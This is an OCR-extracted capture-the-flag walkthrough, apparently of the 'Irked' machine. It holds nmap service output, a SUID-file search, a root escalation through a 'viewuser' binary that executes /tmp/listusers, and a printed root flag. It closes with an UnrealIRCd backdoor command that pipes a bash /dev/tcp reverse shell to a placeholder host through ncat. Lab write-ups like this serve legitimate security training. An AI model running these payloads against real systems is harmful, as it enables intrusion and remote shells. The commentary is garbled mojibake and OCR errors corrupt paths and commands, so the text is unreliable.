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22/tcp open ssh OpenSSH 6.7pl Debian 5+deb8ud4 (protocol 2.0)

| ssh-hostkey:

| 1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
| 2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
| 256 c8:a3:a2:5e:34:9a:¢c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
| 256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:cl:01:63:a2:0c (EdDSA)
80/tcp open http Apache httpd 2.4.10 ((Debian))

| http-methods:

| Supported Methods: GET HEAD POST OPTIONS

| _http-server-header: Apache/2.4.10 (Debian)

| _http-title: Site doesn't have a title (text/html).
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11/tcp open rpcbind 2-4 (RPC #100000)
rpcinfo:
program version port/proto service
100000 2,3,4 111/tcp rpcbind
100000 2,3.,4 111/udp rpcbind
100024 1 41279/tcp status
| _ 100024 1 49667/udp status
514/tcp filtered shell
8080/tcp open http SimpleHTTPServer 0.6 (Python 2.7.9)

| http-methods:

| _ Supported Methods: GET HEAD

| _http-title: Directory listing for /

65534/tcp open 1irc UnrealIRCd (Admin email djmardov@irked.htbﬁ
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djmardov@irked:/$ find / -perm -u=s -type f 2>/dev/null
Jusr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
Jusr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/spice-gtk/spice-client-glib-ush-acl-helper
/usr/sbin/exim4

/usr/sbin/pppd

/usr/bin/chsh

Jusr/bin/procmail

/usr/bin/gpasswd

Jusr/bin/newgrp

/usr/bin/at

/usr/bin/pkexec

/usr/bin/X

/usr/bin/passwd

/usr/bin/chfn

/usr/bin/yiewuser

/sbin/mount.nfs

/bin/su

o iZfTviewuser, IR, B4R, ©HshEiziT—MmpllistusersfScf:, IRATEIMNEEHEIX A viewuser, {H AT LLE £
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djmardov@irked:/$ viewuser

This application is being devleoped to set and test user permissions
It is still being actively developed

(unknown) :0 2019-02-12 17:49 (:0)
djmardov pts/0 2019-02-12 17:52 (10.10.13.221)
djmardov pts/4 2019-02-12 18:06 (10.10.12.9)

sh: 1: /tmp/listusers: not found

o Kilistusers %5 H: cd /root; Is; catroottxt. izfTviewuser, Z5HAIT:
djmardov@irked:/$ viewuser

This application is being devleoped to set and test user permissions
It is still being actively developed

(unknown) :0 2019-02-12 17:49 (:0)

djmardov pts/0 2019-02-12 17:52 (10.10.13.221)
djmardov pts/3 2019-02-12 18:01 (10.10.13.228)
djmardov pts/4 2019-02-12 18:06 (10.10.12.9)

pass._txt root.txt
8d8e9e8beb4654bb6dccc3bff4522dat3
o YSRURHTT DL B listusers 24 f/bin/bash, 22 3KEX—root shell.
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F-5h3kEUnreal IRCHbackdoor shell:
echo "AB; bash -c 'bash -i >& /dev/tcp/[ip)/[port] 0>&1'" | ncat 10.10.10.117 8067
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